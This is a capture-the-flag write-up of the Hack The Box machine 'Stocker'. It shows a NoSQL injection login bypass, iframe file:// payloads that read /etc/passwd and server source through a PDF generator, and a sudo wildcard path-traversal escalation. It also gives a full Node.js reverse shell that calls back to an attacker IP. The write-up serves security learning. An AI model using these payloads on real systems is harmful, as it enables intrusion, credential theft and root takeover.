Hack The Box: Stocker Writeup
Stocker is a Linux machine on Hack The Box. One of its two web sites required authentication which was bypassed through a NoSQL injection. The website resembled stock inventory page that allowed ordering items. The order flow was vulnerable to local file inclusions in the generated PDF order list. By exploiting this vulnerability, the credentials for an SSH user were retrieved. A misconfigured sudo rule granted the user the ability to execute abitrary code as root.
Walkthrough
First, the host was added to the hosts file on the attacking system. Next, an nmap scan of the top 1k ports identified SSH on port 22 and HTTP on port 80:
$ echo "10.10.11.196 stocker.htb" | sudo tee -a /etc/hosts
$ sudo nmap -sC -sV stocker.htb
<SNIP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
<SNIP>
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Stock - Coming Soon!
|_http-generator: Eleventy v2.0.0
|_http-server-header: nginx/1.18.0 (Ubuntu)
<SNIP>
The web page hosted by nginx on the root domain was a static site advertising some shop or inventory management system. Fuzzing the vhosts using ffuf revealed another vhost, namely: dev.stocker.htb
:
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://stocker.htb -H "Host: FUZZ.stocker.htb" -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
<SNIP>
:: Method : GET
:: URL : http://stocker.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.stocker.htb
<SNIP>
* FUZZ: dev
:: Progress: [4989/4989] :: Job [1/1] :: 930 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
<SNIP>
The discovered subdomain was added to the hosts file:
$ echo "10.10.11.196 dev.stocker.htb" | sudo tee -a /etc/hosts
However, the application running under the dev.stocker.htb
domain required authentication. It presented a login page:
At this point no credentials were known, default credentials did not work, and SQL injections were not successful. NoSQL injections, however, were sucessfully abused to bypass the authentication. In order to login, I captured a login request with Burp Suite, changed the Content-Type
header from application/x-www-form-urlencoded
to application/json
, and replaced the data payload with a common NoSQL authentication bypass from hacktricks:
{"username": {"$ne": null}, "password": {"$ne": null} }
The authentication bypass worked and the server provided a cookie connected to a valid session. Once logged in, the web server served an internal web shop:
The page allowed adding items to cart, viewing the cart and submitting the order for checkout.
Once submitted, the order had an order ID and it was possible to review the purchase order by following the link in the modal. The endpoint linked to from the modal returned a PDF document that the server generated. The PDF file contained a list of ordered items.
The design of the shop is questionable, as the backend takes the values received from the client when submitting the order and writes them out to the document without verification of the data or even checking whether such items exist on the store. Thus, it was possible to write arbitrary text into the generated PDF, by intercepting the request with Burp Suite and modifying the request body:
As it turned out, while the server parses the order and creates the PDF, it interprets the HTML + JavaScript provided to it. I found this to be a really interesting case of XSS because it is a reflected XSS that was actually executed server-side and then presented back to the attacker.
So for example, the server could be tricked into making a web request back to the attacker system under 10.10.16.9 (even SSRF!) with the following code:
<img src=http://10.10.16.9/ping />
One of the ways this could be abused is by including local files that leak interesting information. This was possible with iframes and the file://
protocol:
<iframe src=file:///etc/passwd width=800px height=800px />
The file inclusion can also be used to include the source code of the server:
<iframe src=file:///var/www/dev/index.js width=800px height=800px />
The authentication URL of the database connection in that source file contained a password. Trying this with the user angoose
from the passwd file via SSH worked and provided an shell over SSH, compromising the user level of this machine:
Since the password was known, privilege escalation using sudo seemed possible. Enumerating the configured sudo privileges revealed a command:
$ sudo -l
Matching Defaults entries for angoose on stocker:
<SNIP>
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
The configured line seemed to be intended for angoose to run JavaScript files under the /usr/local/scripts/
directory. The line is problematic however, as the wildcard allows any characters to be between the path and the file extension .js
. This means that although the scripts directory was not writable for the user, code could be saved to another directory and the path extended by walking upwards in the file tree. So for example, malicious code could be saved to /tmp/code.js
and executed with sudo rights using
$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/code.js
The line fits the wildcard definition in the sudoers file. Thus, the would be executed as root.
On the box, this behaviour was exploited by generating a JavaScript/Node reverse shell on revshells, and saving it to /home/angoose/shell.js
:
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/bash", \[\]);
var client = new net.Socket();
client.connect(8000, "10.10.16.4", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
Then, the file was executed using sudo and node:
$ sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/shell.js
This provided a root shell and fully compromised the box. That’s it for this post. As always, have a fun time with CTFs.